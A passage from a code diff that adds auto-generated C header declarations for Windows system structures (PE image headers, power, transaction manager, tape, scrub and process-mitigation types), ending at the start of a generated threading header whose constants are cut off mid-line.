_IMAGE_IMPORT_CONTROL_TRANSFER_DYNAMIC_RELOCATION { + unsigned int _bitfield; +} IMAGE_IMPORT_CONTROL_TRANSFER_DYNAMIC_RELOCATION; + +typedef struct _POWER_LIMIT_VALUE { + void* Type; + unsigned int DomainId; + unsigned int TargetValue; + unsigned int TimeParameter; +} POWER_LIMIT_VALUE; + +typedef struct _APPLICATIONLAUNCH_SETTING_VALUE { + long long ActivationTime; + unsigned int Flags; + unsigned int ButtonInstanceID; +} APPLICATIONLAUNCH_SETTING_VALUE; + +typedef struct _SYSTEM_POWER_SOURCE_STATE { + void* BatteryState; + unsigned int InstantaneousPeakPower; + unsigned int InstantaneousPeakPeriod; + unsigned int SustainablePeakPower; + unsigned int SustainablePeakPeriod; + unsigned int PeakPower; + unsigned int MaxOutputPower; + unsigned int MaxInputPower; + int BatteryRateInCurrent; + unsigned int BatteryVoltage; +} SYSTEM_POWER_SOURCE_STATE; + +typedef struct _UMS_CREATE_THREAD_ATTRIBUTES { + unsigned int UmsVersion; + void* UmsContext; + void* UmsCompletionList; +} UMS_CREATE_THREAD_ATTRIBUTES; + +typedef struct _IMAGE_INDIR_CONTROL_TRANSFER_DYNAMIC_RELOCATION { + unsigned short _bitfield; +} IMAGE_INDIR_CONTROL_TRANSFER_DYNAMIC_RELOCATION; + +typedef struct _IMAGE_IMPORT_CONTROL_TRANSFER_ARM64_RELOCATION { + unsigned int _bitfield; +} IMAGE_IMPORT_CONTROL_TRANSFER_ARM64_RELOCATION; + +typedef struct _IMAGE_ARM_RUNTIME_FUNCTION_ENTRY { + unsigned int BeginAddress; + void* Anonymous; +} IMAGE_ARM_RUNTIME_FUNCTION_ENTRY; + +typedef struct _PROCESS_MITIGATION_SEHOP_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_SEHOP_POLICY; + +typedef struct _IMAGE_SYMBOL_EX { + void* N; + unsigned int Value; + int SectionNumber; + unsigned short Type; + unsigned char StorageClass; + unsigned char NumberOfAuxSymbols; +} IMAGE_SYMBOL_EX; + +typedef struct _RemHBITMAP { + unsigned int cbData; + unsigned char data[1]; +} RemHBITMAP; + +typedef struct _IMAGE_ALPHA64_RUNTIME_FUNCTION_ENTRY { + unsigned long long BeginAddress; + unsigned long long EndAddress; + unsigned long long ExceptionHandler; + unsigned long long HandlerData; + unsigned long long PrologEndAddress; +} IMAGE_ALPHA64_RUNTIME_FUNCTION_ENTRY; + +typedef struct _userHBITMAP { + int fContext; + void* u; +} userHBITMAP; + +typedef struct _IMAGE_AUX_SYMBOL_EX { + void* Sym; + void* File; + void* Section; + void* Anonymous; + void* CRC; +} IMAGE_AUX_SYMBOL_EX; + +typedef struct _PROCESS_MITIGATION_SIDE_CHANNEL_ISOLATION_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_SIDE_CHANNEL_ISOLATION_POLICY; + +typedef struct _HEAP_OPTIMIZE_RESOURCES_INFORMATION { + unsigned int Version; + unsigned int Flags; +} HEAP_OPTIMIZE_RESOURCES_INFORMATION; + +typedef struct _IMAGE_SWITCHTABLE_BRANCH_DYNAMIC_RELOCATION { + unsigned short _bitfield; +} IMAGE_SWITCHTABLE_BRANCH_DYNAMIC_RELOCATION; + +typedef struct _PACKEDEVENTINFO { + unsigned int ulSize; + unsigned int ulNumEventsForLogFile; + unsigned int ulOffsets[1]; +} PACKEDEVENTINFO; + +typedef struct _IMAGE_SEPARATE_DEBUG_HEADER { + unsigned short Signature; + unsigned short Flags; + unsigned short Machine; + unsigned short Characteristics; + unsigned int TimeDateStamp; + unsigned int CheckSum; + unsigned int ImageBase; + unsigned int SizeOfImage; + unsigned int NumberOfSections; + unsigned int ExportedNamesSize; + unsigned int DebugDirectorySize; + unsigned int SectionAlignment; + unsigned int Reserved[2]; +} IMAGE_SEPARATE_DEBUG_HEADER; + +typedef struct _PROCESS_MITIGATION_EXTENSION_POINT_DISABLE_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_EXTENSION_POINT_DISABLE_POLICY; + +typedef struct _userHGLOBAL { + int fContext; + void* u; +} userHGLOBAL; + +typedef struct _IMAGE_RESOURCE_DATA_ENTRY { + unsigned int OffsetToData; + unsigned int Size; + unsigned int CodePage; + unsigned int Reserved; +} IMAGE_RESOURCE_DATA_ENTRY; + +typedef struct _IMAGE_CE_RUNTIME_FUNCTION_ENTRY { + unsigned int FuncStart; + unsigned int _bitfield; +} IMAGE_CE_RUNTIME_FUNCTION_ENTRY; + +typedef struct _TAPE_GET_DRIVE_PARAMETERS { + BOOL ECC; + BOOL Compression; + BOOL DataPadding; + BOOL ReportSetmarks; + unsigned int DefaultBlockSize; + unsigned int MaximumBlockSize; + unsigned int MinimumBlockSize; + unsigned int MaximumPartitionCount; + unsigned int FeaturesLow; + void* FeaturesHigh; + unsigned int EOTWarningZoneSize; +} TAPE_GET_DRIVE_PARAMETERS; + +typedef struct _TRANSACTIONMANAGER_LOG_INFORMATION { + void* LogIdentity; +} TRANSACTIONMANAGER_LOG_INFORMATION; + +typedef struct _NT_TIB64 { + unsigned long long ExceptionList; + unsigned long long StackBase; + unsigned long long StackLimit; + unsigned long long SubSystemTib; + void* Anonymous; + unsigned long long ArbitraryUserPointer; + unsigned long long Self; +} NT_TIB64; + +typedef struct _NOTIFY_USER_POWER_SETTING { + void* Guid; +} NOTIFY_USER_POWER_SETTING; + +typedef struct _TRANSACTION_ENLISTMENTS_INFORMATION { + unsigned int NumberOfEnlistments; + void* EnlistmentPair[1]; +} TRANSACTION_ENLISTMENTS_INFORMATION; + +typedef struct _IMAGE_ARM64_RUNTIME_FUNCTION_ENTRY_XDATA_EXTENDED { + unsigned int ExtendedHeaderData; + void* Anonymous; +} IMAGE_ARM64_RUNTIME_FUNCTION_ENTRY_XDATA_EXTENDED; + +typedef struct _IMAGE_ARCHITECTURE_HEADER { + unsigned int _bitfield; + unsigned int FirstEntryRVA; +} IMAGE_ARCHITECTURE_HEADER; + +typedef struct _XSAVE_ARM64_SVE_HEADER { + unsigned int VectorLength; + unsigned int VectorRegisterOffset; + unsigned int PredicateRegisterOffset; + unsigned int Reserved[5]; +} XSAVE_ARM64_SVE_HEADER; + +typedef struct _TAPE_SET_DRIVE_PARAMETERS { + BOOL ECC; + BOOL Compression; + BOOL DataPadding; + BOOL ReportSetmarks; + unsigned int EOTWarningZoneSize; +} TAPE_SET_DRIVE_PARAMETERS; + +typedef struct _SECURITY_OBJECT_AI_PARAMS { + unsigned int Size; + unsigned int ConstraintMask; +} SECURITY_OBJECT_AI_PARAMS; + +typedef struct _IMAGE_ARM64_RUNTIME_FUNCTION_ENTRY_XDATA_EPILOG_SCOPE { + unsigned int EpilogScopeData; + void* Anonymous; +} IMAGE_ARM64_RUNTIME_FUNCTION_ENTRY_XDATA_EPILOG_SCOPE; + +typedef struct _TRANSACTION_LIST_ENTRY { + void* UOW; +} TRANSACTION_LIST_ENTRY; + +typedef struct _IMAGE_DOS_HEADER { + unsigned short e_magic; + unsigned short e_cblp; + unsigned short e_cp; + unsigned short e_crlc; + unsigned short e_cparhdr; + unsigned short e_minalloc; + unsigned short e_maxalloc; + unsigned short e_ss; + unsigned short e_sp; + unsigned short e_csum; + unsigned short e_ip; + unsigned short e_cs; + unsigned short e_lfarlc; + unsigned short e_ovno; + unsigned short e_res[4]; + unsigned short e_oemid; + unsigned short e_oeminfo; + unsigned short e_res2[10]; + int e_lfanew; +} IMAGE_DOS_HEADER; + +typedef struct _IMAGE_AUX_SYMBOL_TOKEN_DEF { + unsigned char bAuxType; + unsigned char bReserved; + unsigned int SymbolTableIndex; + unsigned char rgbReserved[12]; +} IMAGE_AUX_SYMBOL_TOKEN_DEF; + +typedef struct _IMAGE_ARCHIVE_MEMBER_HEADER { + unsigned char Name[16]; + unsigned char Date[12]; + unsigned char UserID[6]; + unsigned char GroupID[6]; + unsigned char Mode[8]; + unsigned char Size[10]; + unsigned char EndHeader[2]; +} IMAGE_ARCHIVE_MEMBER_HEADER; + +typedef struct _RUNTIME_REPORT_PACKAGE_HEADER { + unsigned int Magic; + unsigned short PackageVersion; + unsigned short NumberOfReports; + unsigned long long ReportTypesBitmap; + unsigned int PackageSize; + unsigned short ReportDigestType; + unsigned short TotalReportDigestsSize; + unsigned short Reserved; + unsigned short SignatureScheme; + unsigned int SignatureSize; + unsigned int TotalAuthenticatedReportsSize; +} RUNTIME_REPORT_PACKAGE_HEADER; + +typedef struct _QUOTA_LIMITS_EX { + unsigned long long PagedPoolLimit; + unsigned long long NonPagedPoolLimit; + unsigned long long MinimumWorkingSetSize; + unsigned long long MaximumWorkingSetSize; + unsigned long long PagefileLimit; + long long TimeLimit; + unsigned long long WorkingSetLimit; + unsigned long long Reserved2; + unsigned long long Reserved3; + unsigned long long Reserved4; + unsigned int Flags; + void* CpuRateLimit; +} QUOTA_LIMITS_EX; + +typedef struct _IMAGE_RESOURCE_DIRECTORY_STRING { + unsigned short Length; + unsigned char NameString[1]; +} IMAGE_RESOURCE_DIRECTORY_STRING; + +typedef struct _RUNTIME_REPORT_DIGEST_HEADER { + unsigned short ReportType; + unsigned short Reserved; + unsigned char ReportDigest[64]; +} RUNTIME_REPORT_DIGEST_HEADER; + +typedef struct _TRANSACTIONMANAGER_LOGPATH_INFORMATION { + unsigned int LogPathLength; + unsigned short LogPath[1]; +} TRANSACTIONMANAGER_LOGPATH_INFORMATION; + +typedef struct _TRANSACTIONMANAGER_RECOVERY_INFORMATION { + unsigned long long LastRecoveredLsn; +} TRANSACTIONMANAGER_RECOVERY_INFORMATION; + +typedef struct _remoteMETAFILEPICT { + int mm; + int xExt; + int yExt; + void* hMF; +} remoteMETAFILEPICT; + +typedef struct _userHENHMETAFILE { + int fContext; + void* u; +} userHENHMETAFILE; + +typedef struct _PROCESS_MITIGATION_REDIRECTION_TRUST_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_REDIRECTION_TRUST_POLICY; + +typedef struct _ANON_OBJECT_HEADER { + unsigned short Sig1; + unsigned short Sig2; + unsigned short Version; + unsigned short Machine; + unsigned int TimeDateStamp; + void* ClassID; + unsigned int SizeOfData; +} ANON_OBJECT_HEADER; + +typedef struct _POWER_LIMIT_ATTRIBUTES { + void* Type; + unsigned int DomainId; + unsigned int MaxValue; + unsigned int MinValue; + unsigned int MinTimeParameter; + unsigned int MaxTimeParameter; + unsigned int DefaultACValue; + unsigned int DefaultDCValue; + void* Flags; +} POWER_LIMIT_ATTRIBUTES; + +typedef struct _IMAGE_RELOCATION { + void* Anonymous; + unsigned int SymbolTableIndex; + unsigned short Type; +} IMAGE_RELOCATION; + +typedef struct _ANON_OBJECT_HEADER_BIGOBJ { + unsigned short Sig1; + unsigned short Sig2; + unsigned short Version; + unsigned short Machine; + unsigned int TimeDateStamp; + void* ClassID; + unsigned int SizeOfData; + unsigned int Flags; + unsigned int MetaDataSize; + unsigned int MetaDataOffset; + unsigned int NumberOfSections; + unsigned int PointerToSymbolTable; + unsigned int NumberOfSymbols; +} ANON_OBJECT_HEADER_BIGOBJ; + +typedef struct _NON_PAGED_DEBUG_INFO { + unsigned short Signature; + unsigned short Flags; + unsigned int Size; + unsigned short Machine; + unsigned short Characteristics; + unsigned int TimeDateStamp; + unsigned int CheckSum; + unsigned int SizeOfImage; + unsigned long long ImageBase; +} NON_PAGED_DEBUG_INFO; + +typedef struct _REDBOOK_DIGITAL_AUDIO_EXTRACTION_INFO { + unsigned int Version; + unsigned int Accurate; + unsigned int Supported; + unsigned int AccurateMask0; +} REDBOOK_DIGITAL_AUDIO_EXTRACTION_INFO; + +typedef struct _IMAGE_DYNAMIC_RELOCATION_TABLE { + unsigned int Version; + unsigned int Size; +} IMAGE_DYNAMIC_RELOCATION_TABLE; + +typedef struct _TRANSACTION_SUPERIOR_ENLISTMENT_INFORMATION { + void* SuperiorEnlistmentPair; +} TRANSACTION_SUPERIOR_ENLISTMENT_INFORMATION; + +typedef struct _TAPE_WMI_OPERATIONS { + unsigned int Method; + unsigned int DataBufferSize; + void* DataBuffer; +} TAPE_WMI_OPERATIONS; + +typedef struct _PROCESS_MITIGATION_IMAGE_LOAD_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_IMAGE_LOAD_POLICY; + +typedef struct _TRANSACTION_ENLISTMENT_PAIR { + void* EnlistmentId; + void* ResourceManagerId; +} TRANSACTION_ENLISTMENT_PAIR; + +typedef struct _TRANSACTION_BASIC_INFORMATION { + void* TransactionId; + unsigned int State; + unsigned int Outcome; +} TRANSACTION_BASIC_INFORMATION; + +typedef struct _KTMOBJECT_CURSOR { + void* LastQuery; + unsigned int ObjectIdCount; + void* ObjectIds[1]; +} KTMOBJECT_CURSOR; + +typedef struct _PROCESSOR_IDLESTATE_INFO { + unsigned int TimeCheck; + unsigned char DemotePercent; + unsigned char PromotePercent; + unsigned char Spare[2]; +} PROCESSOR_IDLESTATE_INFO; + +typedef struct _RESOURCEMANAGER_COMPLETION_INFORMATION { + void* IoCompletionPortHandle; + unsigned long long CompletionKey; +} RESOURCEMANAGER_COMPLETION_INFORMATION; + +typedef struct _TAPE_SET_MEDIA_PARAMETERS { + unsigned int BlockSize; +} TAPE_SET_MEDIA_PARAMETERS; + +typedef struct _SERVERSILO_BASIC_INFORMATION { + unsigned int ServiceSessionId; + void* State; + unsigned int ExitStatus; + BOOL Reserved; + void* ApiSetSchema; + void* HostApiSetSchema; + unsigned int ContainerBuildNumber; + unsigned int HostBuildNumber; +} SERVERSILO_BASIC_INFORMATION; + +typedef struct _DISPATCHER_CONTEXT_NONVOLREG_ARM64 { + unsigned char Buffer[152]; + void* Anonymous; +} DISPATCHER_CONTEXT_NONVOLREG_ARM64; + +typedef struct _IMAGE_ARM64_RUNTIME_FUNCTION_ENTRY_XDATA { + unsigned int HeaderData; + void* Anonymous; +} IMAGE_ARM64_RUNTIME_FUNCTION_ENTRY_XDATA; + +typedef struct _IMAGE_HOT_PATCH_BASE { + unsigned int SequenceNumber; + unsigned int Flags; + unsigned int OriginalTimeDateStamp; + unsigned int OriginalCheckSum; + unsigned int CodeIntegrityInfo; + unsigned int CodeIntegritySize; + unsigned int PatchTable; + unsigned int BufferOffset; +} IMAGE_HOT_PATCH_BASE; + +typedef struct _IMAGE_LINENUMBER { + void* Type; + unsigned short Linenumber; +} IMAGE_LINENUMBER; + +typedef struct _SCRUB_DATA_INPUT { + unsigned int Size; + unsigned int Flags; + unsigned int MaximumIos; + unsigned int ObjectId[4]; + unsigned long long StartingByteOffset; + unsigned long long ByteCount; + unsigned int Reserved[36]; + unsigned char ResumeContext[1040]; +} SCRUB_DATA_INPUT; + +typedef struct _SCRUB_PARITY_EXTENT { + long long Offset; + unsigned long long Length; +} SCRUB_PARITY_EXTENT; + +typedef struct _IMAGE_BASE_RELOCATION { + unsigned int VirtualAddress; + unsigned int SizeOfBlock; +} IMAGE_BASE_RELOCATION; + +typedef struct _IMAGE_TLS_DIRECTORY64 { + unsigned long long StartAddressOfRawData; + unsigned long long EndAddressOfRawData; + unsigned long long AddressOfIndex; + unsigned long long AddressOfCallBacks; + unsigned int SizeOfZeroFill; + void* Anonymous; +} IMAGE_TLS_DIRECTORY64; + +typedef struct _TAPE_CREATE_PARTITION { + unsigned int Method; + unsigned int Count; + unsigned int Size; +} TAPE_CREATE_PARTITION; + +typedef struct _RemHENHMETAFILE { + unsigned int cbData; + unsigned char data[1]; +} RemHENHMETAFILE; + +typedef struct _PROCESS_MITIGATION_USER_SHADOW_STACK_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_USER_SHADOW_STACK_POLICY; + +typedef struct _IMAGE_IMPORT_DESCRIPTOR { + void* Anonymous; + unsigned int TimeDateStamp; + unsigned int ForwarderChain; + unsigned int Name; + unsigned int FirstThunk; +} IMAGE_IMPORT_DESCRIPTOR; + +typedef struct _IMAGE_ARCHITECTURE_ENTRY { + unsigned int FixupInstRVA; + unsigned int NewInst; +} IMAGE_ARCHITECTURE_ENTRY; + +typedef struct _userHPALETTE { + int fContext; + void* u; +} userHPALETTE; + +typedef struct _SCRUB_PARITY_EXTENT_DATA { + unsigned short Size; + unsigned short Flags; + unsigned short NumberOfParityExtents; + unsigned short MaximumNumberOfParityExtents; + void* ParityExtents[1]; +} SCRUB_PARITY_EXTENT_DATA; + +typedef struct _SCOPE_TABLE_ARM { + unsigned int Count; + void* ScopeRecord[1]; +} SCOPE_TABLE_ARM; + +typedef struct _IMAGE_AUX_SYMBOL { + void* Sym; + void* File; + void* Section; + void* TokenDef; + void* CRC; +} IMAGE_AUX_SYMBOL; + +typedef struct _IMAGE_HOT_PATCH_MACHINE { + void* Anonymous; +} IMAGE_HOT_PATCH_MACHINE; + +typedef struct _IMAGE_POLICY_ENTRY { + void* Type; + void* PolicyId; + void* u; +} IMAGE_POLICY_ENTRY; + +typedef struct _IMAGE_EXPORT_DIRECTORY { + unsigned int Characteristics; + unsigned int TimeDateStamp; + unsigned short MajorVersion; + unsigned short MinorVersion; + unsigned int Name; + unsigned int Base; + unsigned int NumberOfFunctions; + unsigned int NumberOfNames; + unsigned int AddressOfFunctions; + unsigned int AddressOfNames; + unsigned int AddressOfNameOrdinals; +} IMAGE_EXPORT_DIRECTORY; + +typedef struct _FILE_STAT_INFORMATION { + long long FileId; + long long CreationTime; + long long LastAccessTime; + long long LastWriteTime; + long long ChangeTime; + long long AllocationSize; + long long EndOfFile; + unsigned int FileAttributes; + unsigned int ReparseTag; + unsigned int NumberOfLinks; + unsigned int EffectiveAccess; +} FILE_STAT_INFORMATION; + +typedef struct _FILE_STAT_LX_INFORMATION { + long long FileId; + long long CreationTime; + long long LastAccessTime; + long long LastWriteTime; + long long ChangeTime; + long long AllocationSize; + long long EndOfFile; + unsigned int FileAttributes; + unsigned int ReparseTag; + unsigned int NumberOfLinks; + unsigned int EffectiveAccess; + unsigned int LxFlags; + unsigned int LxUid; + unsigned int LxGid; + unsigned int LxMode; + unsigned int LxDeviceIdMajor; + unsigned int LxDeviceIdMinor; +} FILE_STAT_LX_INFORMATION; + +typedef struct _RATE_QUOTA_LIMIT { + unsigned int RateData; + void* Anonymous; +} RATE_QUOTA_LIMIT; + +typedef struct _IMAGE_DYNAMIC_RELOCATION32 { + unsigned int Symbol; + unsigned int BaseRelocSize; +} IMAGE_DYNAMIC_RELOCATION32; + +typedef struct _DRIVER_RUNTIME_REPORT { + void* Header; + unsigned short NumberOfDrivers; + void* Flags; + void* DriverEntries[1]; +} DRIVER_RUNTIME_REPORT; + +typedef struct _IMAGE_BOUND_FORWARDER_REF { + unsigned int TimeDateStamp; + unsigned short OffsetModuleName; + unsigned short Reserved; +} IMAGE_BOUND_FORWARDER_REF; + +typedef struct _IMAGE_RESOURCE_DIR_STRING_U { + unsigned short Length; + unsigned short NameString[1]; +} IMAGE_RESOURCE_DIR_STRING_U; + +typedef struct _ATTRIBUTES_AND_SID { + unsigned int Attributes; + unsigned int SidStart; +} ATTRIBUTES_AND_SID; + +typedef struct _IMAGE_TLS_DIRECTORY32 { + unsigned int StartAddressOfRawData; + unsigned int EndAddressOfRawData; + unsigned int AddressOfIndex; + unsigned int AddressOfCallBacks; + unsigned int SizeOfZeroFill; + void* Anonymous; +} IMAGE_TLS_DIRECTORY32; + +typedef struct _IMAGE_FUNCTION_OVERRIDE_HEADER { + unsigned int FuncOverrideSize; +} IMAGE_FUNCTION_OVERRIDE_HEADER; + +typedef struct _IMAGE_EPILOGUE_DYNAMIC_RELOCATION_HEADER { + unsigned int EpilogueCount; + unsigned char EpilogueByteCount; + unsigned char BranchDescriptorElementSize; + unsigned short BranchDescriptorCount; +} IMAGE_EPILOGUE_DYNAMIC_RELOCATION_HEADER; + +typedef struct _PROCESS_MITIGATION_FONT_DISABLE_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_FONT_DISABLE_POLICY; + +typedef struct _SILOOBJECT_BASIC_INFORMATION { + unsigned int SiloId; + unsigned int SiloParentId; + unsigned int NumberOfProcesses; + BOOL IsInServerSilo; + unsigned char Reserved[3]; +} SILOOBJECT_BASIC_INFORMATION; + +typedef struct _KERNEL_CET_CONTEXT { + unsigned long long Ssp; + unsigned long long Rip; + unsigned short SegCs; + void* Anonymous; + unsigned short Fill[2]; +} KERNEL_CET_CONTEXT; + +typedef struct _PROCESS_NETWORK_COUNTERS { + unsigned long long BytesIn; + unsigned long long BytesOut; +} PROCESS_NETWORK_COUNTERS; + +typedef struct _userHMETAFILEPICT { + int fContext; + void* u; +} userHMETAFILEPICT; + +typedef struct _IMAGE_DYNAMIC_RELOCATION64_V2 { + unsigned int HeaderSize; + unsigned int FixupInfoSize; + unsigned long long Symbol; + unsigned int SymbolGroup; + unsigned int Flags; +} IMAGE_DYNAMIC_RELOCATION64_V2; + +typedef struct _SHUFFLE_FILE_DATA { + long long StartingOffset; + long long Length; + unsigned int Flags; +} SHUFFLE_FILE_DATA; + +typedef struct _REARRANGE_FILE_DATA32 { + unsigned long long SourceStartingOffset; + unsigned long long TargetOffset; + unsigned int SourceFileHandle; + unsigned int Length; + unsigned int Flags; +} REARRANGE_FILE_DATA32; + +typedef struct _IMAGE_IMPORT_BY_NAME { + unsigned short Hint; + unsigned char Name[1]; +} IMAGE_IMPORT_BY_NAME; + +typedef struct _IMAGE_ALPHA_RUNTIME_FUNCTION_ENTRY { + unsigned int BeginAddress; + unsigned int EndAddress; + unsigned int ExceptionHandler; + unsigned int HandlerData; + unsigned int PrologEndAddress; +} IMAGE_ALPHA_RUNTIME_FUNCTION_ENTRY; + +typedef struct _IMAGE_DEBUG_MISC { + unsigned int DataType; + unsigned int Length; + BOOL Unicode; + unsigned char Reserved[3]; + unsigned char Data[1]; +} IMAGE_DEBUG_MISC; + +typedef struct _TRANSACTIONMANAGER_BASIC_INFORMATION { + void* TmIdentity; + long long VirtualClock; +} TRANSACTIONMANAGER_BASIC_INFORMATION; + +typedef struct _IMAGE_PROLOGUE_DYNAMIC_RELOCATION_HEADER { + unsigned char PrologueByteCount; +} IMAGE_PROLOGUE_DYNAMIC_RELOCATION_HEADER; + +typedef struct _NT_TIB32 { + unsigned int ExceptionList; + unsigned int StackBase; + unsigned int StackLimit; + unsigned int SubSystemTib; + void* Anonymous; + unsigned int ArbitraryUserPointer; + unsigned int Self; +} NT_TIB32; + +typedef struct _SUPPORTED_OS_INFO { + unsigned short MajorVersion; + unsigned short MinorVersion; +} SUPPORTED_OS_INFO; + +typedef struct _IMAGE_RESOURCE_DIRECTORY { + unsigned int Characteristics; + unsigned int TimeDateStamp; + unsigned short MajorVersion; + unsigned short MinorVersion; + unsigned short NumberOfNamedEntries; + unsigned short NumberOfIdEntries; +} IMAGE_RESOURCE_DIRECTORY; + +typedef struct _NETWORK_APP_INSTANCE_EA { + void* AppInstanceID; + unsigned int CsvFlags; +} NETWORK_APP_INSTANCE_EA; + +typedef struct _IMAGE_HOT_PATCH_INFO { + unsigned int Version; + unsigned int Size; + unsigned int SequenceNumber; + unsigned int BaseImageList; + unsigned int BaseImageCount; + unsigned int BufferOffset; + unsigned int ExtraPatchSize; + unsigned int MinSequenceNumber; + unsigned int Flags; +} IMAGE_HOT_PATCH_INFO; + +typedef struct _TOKEN_BNO_ISOLATION_INFORMATION { + void* IsolationPrefix; + BOOL IsolationEnabled; +} TOKEN_BNO_ISOLATION_INFORMATION; + +typedef struct _SCRUB_DATA_OUTPUT { + unsigned int Size; + unsigned int Flags; + unsigned int Status; + unsigned long long ErrorFileOffset; + unsigned long long ErrorLength; + unsigned long long NumberOfBytesRepaired; + unsigned long long NumberOfBytesFailed; + unsigned long long InternalFileReference; + unsigned short ResumeContextLength; + unsigned short ParityExtentDataOffset; + unsigned long long NextStartingByteOffset; + unsigned long long ValidDataLength; + unsigned int Reserved[4]; + unsigned long long NumberOfMetadataBytesProcessed; + unsigned long long NumberOfDataBytesProcessed; + unsigned long long TotalNumberOfMetadataBytesInUse; + unsigned long long TotalNumberOfDataBytesInUse; + unsigned long long DataBytesSkippedDueToNoAllocation; + unsigned long long DataBytesSkippedDueToInvalidRun; + unsigned long long DataBytesSkippedDueToIntegrityStream; + unsigned long long DataBytesSkippedDueToRegionBeingClean; + unsigned long long DataBytesSkippedDueToLockConflict; + unsigned long long DataBytesSkippedDueToNoScrubDataFlag; + unsigned long long DataBytesSkippedDueToNoScrubNonIntegrityStreamFlag; + unsigned long long DataBytesScrubbed; + unsigned char ResumeContext[1040]; +} SCRUB_DATA_OUTPUT; + +typedef struct _HIBERFILE_BUCKET { + unsigned long long MaxPhysicalMemory; + unsigned int PhysicalMemoryPercent[3]; +} HIBERFILE_BUCKET; + +typedef struct _IMAGE_BDD_INFO { + unsigned int Version; + unsigned int BDDSize; +} IMAGE_BDD_INFO; + +typedef struct _TOKEN_LOGGING_INFORMATION { + void* TokenType; + void* TokenElevation; + void* TokenElevationType; + void* ImpersonationLevel; + unsigned int IntegrityLevel; + void* User; + void* TrustLevelSid; + unsigned int SessionId; + unsigned int AppContainerNumber; + void* AuthenticationId; + unsigned int GroupCount; + unsigned int GroupsLength; + void* Groups; +} TOKEN_LOGGING_INFORMATION; + +typedef struct _IMAGE_BDD_DYNAMIC_RELOCATION { + unsigned short Left; + unsigned short Right; + unsigned int Value; +} IMAGE_BDD_DYNAMIC_RELOCATION; + +typedef struct _SE_TOKEN_USER { + void* Anonymous1; + void* Anonymous2; +} SE_TOKEN_USER; + +typedef struct _FILE_NOTIFY_FULL_INFORMATION { + unsigned int NextEntryOffset; + unsigned int Action; + long long CreationTime; + long long LastModificationTime; + long long LastChangeTime; + long long LastAccessTime; + long long AllocatedLength; + long long FileSize; + unsigned int FileAttributes; + void* Anonymous; + long long FileId; + long long ParentFileId; + unsigned short FileNameLength; + unsigned char FileNameFlags; + unsigned char Reserved; + unsigned short FileName[1]; +} FILE_NOTIFY_FULL_INFORMATION; + +typedef struct _IMPORT_OBJECT_HEADER { + unsigned short Sig1; + unsigned short Sig2; + unsigned short Version; + unsigned short Machine; + unsigned int TimeDateStamp; + unsigned int SizeOfData; + void* Anonymous; + unsigned short _bitfield; +} IMPORT_OBJECT_HEADER; + +typedef struct _MAXVERSIONTESTED_INFO { + unsigned long long MaxVersionTested; +} MAXVERSIONTESTED_INFO; + +typedef struct _REARRANGE_FILE_DATA { + unsigned long long SourceStartingOffset; + unsigned long long TargetOffset; + void* SourceFileHandle; + unsigned int Length; + unsigned int Flags; +} REARRANGE_FILE_DATA; + +typedef struct _IMAGE_SYMBOL { + void* N; + unsigned int Value; + short SectionNumber; + unsigned short Type; + unsigned char StorageClass; + unsigned char NumberOfAuxSymbols; +} IMAGE_SYMBOL; + +typedef struct _IMAGE_HOT_PATCH_HASHES { + unsigned char SHA256[32]; + unsigned char SHA1[20]; +} IMAGE_HOT_PATCH_HASHES; + +typedef struct _DRIVER_INFO_ENTRY { + unsigned char InternalName[32]; + unsigned short ImageHashAlgorithm; + unsigned short PublisherThumbprintHashAlgorithm; + unsigned int ImageHashOffset; + unsigned int PublisherThumbprintOffset; + unsigned short LoadCount; + unsigned short OemNameSize; + unsigned int OemNameOffset; + void* Flags; + unsigned short Padding; +} DRIVER_INFO_ENTRY; + +typedef struct _IMAGE_FUNCTION_OVERRIDE_DYNAMIC_RELOCATION { + unsigned int OriginalRva; + unsigned int BDDOffset; + unsigned int RvaSize; + unsigned int BaseRelocSize; +} IMAGE_FUNCTION_OVERRIDE_DYNAMIC_RELOCATION; + +typedef struct _SCOPE_TABLE_ARM64 { + unsigned int Count; + void* ScopeRecord[1]; +} SCOPE_TABLE_ARM64; + +typedef struct _ENLISTMENT_BASIC_INFORMATION { + void* EnlistmentId; + void* TransactionId; + void* ResourceManagerId; +} ENLISTMENT_BASIC_INFORMATION; + +typedef struct _ENLISTMENT_CRM_INFORMATION { + void* CrmTransactionManagerId; + void* CrmResourceManagerId; + void* CrmEnlistmentId; +} ENLISTMENT_CRM_INFORMATION; + +typedef struct _SCOPE_TABLE_AMD64 { + unsigned int Count; + void* ScopeRecord[1]; +} SCOPE_TABLE_AMD64; + +typedef struct _GDI_NONREMOTE { + int fContext; + void* u; +} GDI_NONREMOTE; + +typedef struct _TOKEN_SID_INFORMATION { + void* Sid; +} TOKEN_SID_INFORMATION; + +typedef struct _PROCESS_MITIGATION_USER_POINTER_AUTH_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_USER_POINTER_AUTH_POLICY; + diff --git a/stdlib/win32/threading.h b/stdlib/win32/threading.h new file mode 100644 index 0000000..c8db5c4 --- /dev/null +++ b/stdlib/win32/threading.h @@ -0,0 +1,890 @@ +// Generated by entc-win32gen from `Windows.Win32.System.Threading`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define CONDITION_VARIABLE_LOCKMODE_SHARED 0x1 +#define INIT_ONCE_CHECK_ONLY 0x1 +#define INIT_ONCE_ASYNC 0x2 +#define INIT_ONCE_INIT_FAILED 0x4 +#define INIT_ONCE_CTX_RESERVED_BITS 0x2 +#define ALL_PROCESSOR_GROUPS 0xffff +#define RTL_CRITICAL_SECTION_FLAG_NO_DEBUG_INFO 0x1000000 +#define RTL_CRITICAL_SECTION_FLAG_DYNAMIC_SPIN 0x2000000 +#define RTL_CRITICAL_SECTION_FLAG_STATIC_INIT 0x4000000 +#define RTL_CRITICAL_SECTION_FLAG_RESOURCE_TYPE 0x8000000 +#define RTL_CRITICAL_SECTION_FLAG_FORCE_DEBUG_INFO 0x10000000 +#define RTL_CRITICAL_SECTION_ALL_FLAG_BITS 0xff000000 +#define RTL_CRITICAL_SECTION_DEBUG_FLAG_STATIC_INIT 0x1 +#define 